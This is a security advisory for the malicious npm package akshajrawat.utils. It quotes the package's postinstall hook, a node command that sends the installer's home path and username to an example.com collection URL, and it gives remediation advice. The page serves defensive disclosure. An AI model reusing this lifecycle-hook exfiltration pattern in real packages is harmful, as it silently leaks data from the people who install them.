akshajrawat.utils
Affected
- introduced
0(semver)
Fixed versions
None listed
Fix
No fixed version is listed.
Advisory
Also known as: GHSA-68xp-rp76-mhf5
Malicious package Its source marks this package as malicious: it is not a vulnerability in a legitimate one.
Malicious code in akshajrawat.utils (npm)
---
_-= Per source details. Do not edit below this line.=-_
Source: amazon-inspector (105157af41712b64f8b36ec1cb01e28958e4ad828a0c08d0979a1f6e22d1f13d)
The package's package.json declares a postinstall lifecycle hook that runs automatically on npm install: node -e "require('https').get('https://example.com/collect?k='+process.env.HOME+'&u='+process.env.USERNAME)". On every install, this issues an unconditional HTTPS GET to https://example.com/collect with the installer's $HOME path and $USERNAME embedded as query-string parameters. This is the canonical supply-chain exfiltration shape: lifecycle-triggered, unconditional, undocumented outbound transmission of installer-side identifiers. While example.com and the package description suggest the package may be a proof-of-concept or research artifact, the structural behavior would harm any installer who runs npm install against it, and the same scaffold trivially redirects to an attacker-controlled host.
Source: ghsa-malware (368b22696d6b2d76728b4593d3c97a3712df37b64722b96a37bf85f08e11b537)
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Not rated by the source.
0 (semver)None listed
No fixed version is listed.
Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: OpenSSF Malicious Packages · Apache-2.0